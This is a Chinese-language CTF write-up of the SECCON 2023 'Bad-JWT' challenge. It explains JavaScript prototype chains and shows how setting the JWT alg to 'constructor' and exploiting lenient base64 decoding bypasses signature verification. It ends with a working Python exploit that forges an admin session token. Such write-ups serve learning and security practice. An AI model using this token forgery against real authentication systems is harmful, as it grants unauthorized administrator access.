2023/09/18:SECCON2023

Bad-JWT

原型链污染
https://github.com/xryuseix/CTF_Writeups/tree/master/SECCON2023

原型与原型链

https://juejin.cn/post/6984678359275929637

构造函数与原型

JS中没有类(Class)这个概念,所以JS的设计者使用了构造函数来实现继承机制,通过此生成实例。但是,在构造函数中通过this赋值的属性或者方法,是每个实例的实例属性以及实例方法,无法共享公共属性。此时需要原型对象来储存构造函数的公共属性和方法

原型对象

JS的每个函数在创建的时候,都会生成一个属性prototype,这个属性指向一个对象,这个对象就是此函数的原型对象。该原型对象中有个属性为constructor,指向该函数。这样原型对象和它的函数之间就产生了联系。

原型链

每个通过构造函数创建出来的实例对象,其本身有个属性__proto__9各大厂商具体实现时添加的私有属性),这个属性会指向该实例对象的构造函数的原型对象
当访问一个对象的某个属性时,会先在这个对象本身属性上查找,如果没有找到,则会通过它的__proto__隐式属性,找到它的构造函数的原型对象,如果还没有找到就会再在其构造函数的prototype的__proto__中查找,这样一层一层向上查找就会形成一个链式结构,称为原型链
如果通过某个实例对象的__proto__属性赋值,则会改变其构造函数的原型对象,从而被所有实例所共享。

原型链的尽头

所有的原型对象的__proto__属性都是指向function Object的原型对象。 而function Object的原型对象在上图中我们可以得知是不存在__proto__这个属性的,它指向了null
对于函数,它的__proto__属性指向了一个function Function的原型对象,该原型对象为JS中所有函数的原型对象,而其__proto__属性也还是指向了function Object的原型对象

题目复现

太不智能了还要手写脚本发JWT()
查看原代码,需要以admin身份登录,会对jwt检验
大致思路:
看看dockerfile->node.js
session.isadmin->app.listen->sign
index找flag->session.isadmin->app.use->jwt.verify->(jwt.js)verify
verify:parseToken/createSignature/… ->signature->algorithms[…]->
const algorithms
index.js:

1
2
3
4
5
app.listen(PORT, () => {
const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
console.log(`[INFO] Use ${admin_session} as session cookie`);
console.log(`Challenge server listening on port ${PORT}`);
});

以此判断需要{ isAdmin: true }
关键点如下:
jwt.js

1
2
3
4
5
6
7
8
9
10
11
12
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
...
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
};

使用node命令进入REPL(终端类似物)可进行调试

(蹭个图)
存在一个constructor属性(见原型链),这个属性调用之后回直接返回一个Function,实际上就是这个具体对象的构造函数,然后对其调用,实际上只会返回第一个参数(原理上就是获得了原型,然后进行了初始化,返回对象)
接下来就是verify函数中的Buffer.fromBuffer.compare(验证签名signature)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);

const calculated_signature = createSignature(header, payload, secret);

const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');

if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}

return payload;
}

Buffer.from(txt, "base64")不用作 base64的字符被忽略,不会解析不是base64的字符串
Buffer.compare字符串和字符串对象是相同
{headerBase64}.{bodyBase64}可以得到eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjogdHJ1ZX0,用eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ作为签名,结果如下:

1
2
3
4
expected_signature: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ',
calculated_signature: [String: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ'],
calculated_buf: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72 75 65 7d>,
expected_buf: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72 75 65 7d>

签名肯定是不同的,但是buffer.from移除了句点,buffer.compare的结果等于0,绕过了签名的验证
大佬exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
import requests
import json


header = {"typ": "JWT", "alg": "constructor"}
headerStr = json.dumps(header).encode("utf-8")
body = {"isAdmin": True}
bodyStr = json.dumps(body).encode("utf-8")

def base64_encode(str: str):
return (
base64.b64encode(str).replace(b"=", b"").replace(b"+", b"-").replace(b"/", b"_")
)


headerBase64 = str(base64_encode(headerStr))[2:-1]
bodyBase64 = str(base64_encode(bodyStr))[2:-1]

jwt = f"{headerBase64}.{bodyBase64}.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ"
print(jwt)
res = requests.get("http://localhost:3000/", cookies={"session": jwt})

print(res.text)